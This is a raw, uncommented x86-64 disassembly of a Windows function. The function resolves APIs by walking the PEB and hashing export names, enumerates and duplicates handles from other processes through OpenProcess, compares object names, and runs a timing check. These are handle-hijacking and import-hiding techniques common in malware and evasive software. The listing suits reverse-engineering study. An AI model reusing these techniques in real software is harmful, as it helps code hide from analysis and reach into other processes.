mov qword [rbp - 0x58], rdi
mov qword [rsp + 0x60], r15
mov qword [rbp], rax
mov qword [rbp - 0x40], rax
cmp dword [rbx], eax
jbe 0x140015cb7
nop word [rax + rax]
mov eax, r12d
lea rcx, [rax + rax*2]
movups xmm1, xmmword [rbx + rcx*8 + 8]
movsd xmm0, qword [rbx + rcx*8 + 0x18]
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm1
movzx eax, ax
movsd qword [rbp - 0x60], xmm0
cmp eax, esi
jne 0x140015ca2
mov rax, qword [rbp - 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, r13d
jne 0x140015ca2
test dword [rbp - 0x60], 0x1f000f
je 0x140015ca2
xor edx, edx
mov r8d, esi
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140015c9f
movzx ebx, word [rbp - 0x6a]
lea r9, [rbp - 0x40]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov edx, ebx
mov rcx, rsi
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call r15
test eax, eax
js 0x140015c5c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x1401240b0]
mov r11, qword [rcx + 0x30]
test rax, rax
jne 0x140015c35
movsxd rax, dword [r11 + 0x3c]
xor r10d, r10d
mov edi, dword [rax + r11 + 0x88]
mov r15d, dword [rdi + r11 + 0x20]
nop
lea rax, [r11 + r10*4]
mov r9d, 0xe7e8c14
mov r8d, dword [rax + r15]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140015c01
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140015bd0
cmp r9d, 0x994d6746
je 0x140015c06
inc r10d
jmp 0x140015bb0
mov ecx, dword [rdi + r11 + 0x24]
movzx ebx, word [rbp - 0x6a]
add rcx, r11
mov r15, qword [rsp + 0x60]
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + r11 + 0x1c]
mov rdi, qword [rbp - 0x58]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
mov qword [0x1401240b0], rax
mov rdx, qword [rbp - 0x40]
mov rcx, 0xffffffffffffffff
call rax
mov rcx, qword [rbp - 0x40]
test eax, eax
mov eax, 1
movzx r14d, r14b
cmovns r14d, eax
test rcx, rcx
je 0x140015c5c
call rdi
mov ecx, 1
lea r9, [rbp]
mov dword [rsp + 0x30], ecx
xor eax, eax
mov dword [rsp + 0x28], eax
mov rdx, rbx
mov dword [rsp + 0x20], eax
lea r8, [rcx - 2]
mov rcx, rsi
call r15
test eax, eax
js 0x140015c90
mov rcx, qword [rbp]
mov r14b, 1
test rcx, rcx
jne 0x140015cb0
mov rcx, rsi
call rdi
test r14b, r14b
jne 0x140015cb7
mov rbx, qword [rsp + 0x48]
mov esi, dword [rbp - 0x50]
inc r12d
cmp r12d, dword [rbx]
jb 0x140015ae0
jmp 0x140015cb7
call rdi
mov rcx, rsi
call rdi
mov eax, dword [rbp - 0x50]
mov r14b, 1
mov rdi, qword [rsp + 0x48]
mov dword [0x140123df4], eax
jmp 0x140016140
mov rdi, qword [rax + 0x40]
jmp 0x140015a1a
mov rcx, qword [rax + 0x40]
mov ebx, edx
test rcx, rcx
je 0x140015a46
cmp word [rcx], dx
je 0x140015a48
nop
inc ebx
lea rcx, [rcx + 2]
cmp word [rcx], dx
jne 0x140015cf0
jmp 0x140015a48
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140015d33
nop word [rax + rax]
cmp qword [rax + 0x50], 0
jne 0x140015dd6
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015d20
xor ecx, ecx
lea r9, [rdx + rdx]
lea rax, [rcx + r9]
xor ecx, ecx
test rax, rax
je 0x140015d5c
cmp word [rax], cx
je 0x140015d5c
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140015d50
mov rax, qword gs:[0x60]
movsxd rdx, ecx
shl rdx, 3
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140015d8f
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x140015ddf
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015d80
xor r8d, r8d
lea rax, [r8 + r9]
mov rcx, r14
cmp r14, rax
jbe 0x140015de5
add rax, rdx
cmp r14, rax
jae 0x140015de5
lea rcx, [r14 - 1]
add rcx, rdx
lea r8, [rax - 1]
test rdx, rdx
je 0x140015e01
nop word [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 - 1]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140015dc0
jmp 0x140015e01
mov rcx, qword [rax + 0x40]
jmp 0x140015d35
mov r8, qword [rax + 0x40]
jmp 0x140015d92
test rdx, rdx
je 0x140015e01
sub r8, r14
add r9, r8
movzx eax, byte [r9 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140015df0
mov rdi, qword [rsp + 0x48]
xor ebx, ebx
mov dword [rsp + 0x54], ebx
cmp dword [rdi], ebx
jbe 0x1400160cb
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rbx + rbx*2]
movups xmm1, xmmword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
mov ecx, dword [rbp - 0x4c]
movd eax, xmm1
movups xmmword [rsp + 0x78], xmm1
movzx eax, ax
movsd qword [rbp - 0x78], xmm0
cmp eax, ecx
jne 0x1400160bd
mov rax, qword [rsp + 0x78]
shr rax, 0x20
movzx eax, al
cmp eax, esi
jne 0x1400160bd
test dword [rbp - 0x78], 0x120089
je 0x1400160bd
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp - 0x40], rax
mov rsi, rax
test rax, rax
je 0x1400160b9
movzx edx, word [rsp + 0x7e]
lea r9, [rbp - 0x38]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call r13
test eax, eax
js 0x1400160ae
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov rbx, qword [rbp - 0x58]
lea r8, [rbp - 0x50]
mov edi, 1
mov qword [rsp + 0x20], rax
mov edx, edi
mov r9d, reloc.WS2_32.dll_recv
call rbx
mov edx, dword [rbp - 0x50]
lea r9d, [rdi + 3]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [rbp - 0x50]
mov edx, edi
mov rcx, qword [rbp - 0x38]
mov r13, rax
lea rax, [rbp - 0x50]
mov r8, r13
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x14001607f
movzx r15d, word [r14]
lea r12, [r14 + 2]
mov r11, qword [r13 + 8]
mov rdx, r11
test r15w, r15w
je 0x140015fc1
nop dword [rax]
movzx eax, word [rdx]
mov r14, rdx
add rdx, 2
test ax, ax
je 0x140015fd0
cmp ax, r15w
jne 0x140015f30
mov r9, r12
test rdx, rdx
je 0x140015f30
test r12, r12
je 0x140015f30
mov rbx, rdx
sub rbx, r12
nop dword [rax]
movzx r10d, word [r9]
movzx r8d, word [r9 + rbx]
lea esi, [r10 - 0x41]
cmp esi, 0x19
lea ecx, [r10 + 0x20]
lea edi, [r8 - 0x41]
cmova ecx, r10d
lea eax, [r8 + 0x20]
cmp edi, 0x19
cmova eax, r8d
cmp eax, ecx
jne 0x140015fa3
test r8w, r8w
je 0x140015f9d
test r10w, r10w
je 0x140015fa3
add r9, 2
jmp 0x140015f60
test r10w, r10w
je 0x140015fbe
cmp edi, 0x19
ja 0x140015fac
add r8d, 0x20
cmp esi, 0x19
ja 0x140015fb5
add r10d, 0x20
cmp r8d, r10d
jne 0x140015f30
mov rdx, r14
test rdx, rdx
jne 0x140016061
nop word [rax + rax]
movzx eax, word [r11]
mov rsi, r11
add r11, 2
test ax, ax
je 0x14001606b
cmp ax, 0x73
jne 0x140015fd0
lea rax, [0x140104a62]
mov r9, rax
test r11, r11
je 0x140015fd0
mov rbx, r11
sub rbx, rax
nop
movzx r8d, word [r9]
movzx edx, word [r9 + rbx]
lea edi, [r8 - 0x41]
cmp edi, 0x19
lea ecx, [r8 + 0x20]
lea r10d, [rdx - 0x41]
cmova ecx, r8d
lea eax, [rdx + 0x20]
cmp r10d, 0x19
cmova eax, edx
cmp eax, ecx
jne 0x140016041
test dx, dx
je 0x14001603b
test r8w, r8w
je 0x140016041
add r9, 2
jmp 0x140016000
test r8w, r8w
je 0x14001605c
cmp r10d, 0x19
ja 0x14001604a
add edx, 0x20
cmp edi, 0x19
ja 0x140016053
add r8d, 0x20
cmp edx, r8d
jne 0x140015fd0
test rsi, rsi
je 0x14001606b
mov r15b, 1
mov byte [rsp + 0x40], r15b
jmp 0x140016071
movzx r15d, byte [rsp + 0x40]
mov rsi, qword [rbp - 0x40]
mov r14, qword [rsp + 0x60]
mov r12, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14001608b
call r12
test r13, r13
je 0x1400160a1
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x48]
mov r13, qword [rbp]
mov ebx, dword [rsp + 0x54]
mov rcx, rsi
call r12
test r15b, r15b
jne 0x1400160cb
mov esi, dword [rsp + 0x58]
inc ebx
mov dword [rsp + 0x54], ebx
cmp ebx, dword [rdi]
jb 0x140015e20
test r14, r14
je 0x1400160e1
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15b, r15b
jne 0x140016125
mov r13d, dword [rsp + 0x68]
xor r15d, r15d
mov eax, dword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
inc eax
mov dword [rsp + 0x50], eax
mov r9d, dword [rdi]
cmp eax, r9d
jb 0x140015701
xor r14b, r14b
mov eax, dword [rbp - 0x48]
mov ecx, dword [rsp + 0x5c]
cmp eax, ecx
jbe 0x140016140
sub eax, ecx
cmp eax, 0x960
jbe 0x140016140
mov r14b, 1
jmp 0x140016140
mov eax, dword [rbp - 0x4c]
mov r14b, 1
mov rdi, qword [rsp + 0x48]
mov dword [0x140123df4], eax
jmp 0x14001610c
xor r14b, r14b
test rdi, rdi
je 0x140016151
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [0x140123ef8]
test rcx, rcx
je 0x140016163
call qword [0x140123ec0]
mov rcx, qword [0x140123f10]
test rcx, rcx
je 0x140016175
call qword [0x140123ec0]
mov rcx, qword [0x140123ee0]
test rcx, rcx
je 0x140016187
call qword [0x140123ec0]
mov rcx, qword [0x140123f28]
test rcx, rcx
je 0x140016199
call qword [0x140123ec0]
mov rcx, qword [0x140123f40]
test rcx, rcx
je 0x1400161ab
call qword [0x140123ec0]
movzx eax, r14b
jmp 0x1400161b3
xor al, al
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14009bc50
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret